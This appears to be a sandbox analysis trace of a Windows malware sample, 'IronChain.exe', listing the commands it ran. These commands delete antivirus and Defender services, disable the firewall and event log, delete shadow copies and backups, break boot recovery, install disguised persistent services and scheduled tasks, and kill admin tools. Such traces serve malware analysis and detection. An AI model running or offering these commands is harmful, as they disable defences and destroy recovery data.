C:\Windows\system32\sc.exesc delete Sense3⤵
-
-
C:\Windows\system32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\system32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\system32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\system32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\system32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\system32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config swprv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im regedit.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop swprv4⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe3⤵
-
-
C:\Windows\system32\wscript.exewscript.exe C:\Windows\System32\wininit_check.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\System32\wininit_check.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exewscript.exe C:\Windows\System32\dcomlaunch_check.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\System32\dcomlaunch_check.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create IKIRO8NzCHOqACINnorxj binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "IyJROINlCHazA2INaeNvU""3⤵
-
C:\Windows\system32\sc.exesc create IKIRO8NzCHOqACINnorxj binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "IyJROINlCHazA2INaeNvU"4⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description IKIRO8NzCHOqACINnorxj "Trusted security module""3⤵
-
C:\Windows\system32\sc.exesc description IKIRO8NzCHOqACINnorxj "Trusted security module"4⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start IKIRO8NzCHOqACINnorxj"3⤵
-
C:\Windows\system32\sc.exesc start IKIRO8NzCHOqACINnorxj4⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im mmc.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq SystemSettings.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im SystemSettings.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq control.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im control.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq WindowsSecurity.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im WindowsSecurity.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure IKIRO8NzCHOqACINnorxj reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc failure IKIRO8NzCHOqACINnorxj reset= 86400 actions= restart/5000/restart/5000/restart/50004⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq MsMpEng.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical IKIRO8NzCHOqACINnorxj"3⤵
-
C:\Windows\system32\sc.exesc critical IKIRO8NzCHOqACINnorxj4⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq powershell.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im powershell.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq pwsh.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im pwsh.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq taskkill.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "LFIPRRJZhiOcNCHYASlIN" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "LFIPRRJZhiOcNCHYASlIN""3⤵
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MbiFcFrGoqszoafytaSueccqugrqiGtEy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MbiFcFrGoqszoafytaSueccqugrqiGtEy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MbiFcFrGoqszoafytaSueccqugrqiGtEy""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MbiFcFrGoqszoafytaSueccqugrqiGtEy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVG3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc3⤵
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Sense3⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\System32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe""3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create WfiFnwd6oFwYsBUqpudDaCtSenS9voc binPath= "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" start= auto DisplayName= "Il8ROENlCHZhAQINB1TYf""3⤵
-
C:\Windows\system32\sc.exesc create WfiFnwd6oFwYsBUqpudDaCtSenS9voc binPath= "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" start= auto DisplayName= "Il8ROENlCHZhAQINB1TYf"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description WfiFnwd6oFwYsBUqpudDaCtSenS9voc "Trusted security module""3⤵
-
C:\Windows\system32\sc.exesc description WfiFnwd6oFwYsBUqpudDaCtSenS9voc "Trusted security module"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start WfiFnwd6oFwYsBUqpudDaCtSenS9voc"3⤵
-
C:\Windows\system32\sc.exesc start WfiFnwd6oFwYsBUqpudDaCtSenS9voc4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure WfiFnwd6oFwYsBUqpudDaCtSenS9voc reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
C:\Windows\system32\sc.exesc failure WfiFnwd6oFwYsBUqpudDaCtSenS9voc reset= 86400 actions= restart/5000/restart/5000/restart/50004⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical WfiFnwd6oFwYsBUqpudDaCtSenS9voc"3⤵
-
C:\Windows\system32\sc.exesc critical WfiFnwd6oFwYsBUqpudDaCtSenS9voc4⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im cmd.exe3⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im msconfig.exe3⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh3⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe"C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IyYRO9NiCHuyAAINdS1pN" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IyYRO9NiCHuyAAINdS1pN" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IyYRO9NiCHuyAAINdS1pN""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IyYRO9NiCHuyAAINdS1pN"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVG3⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
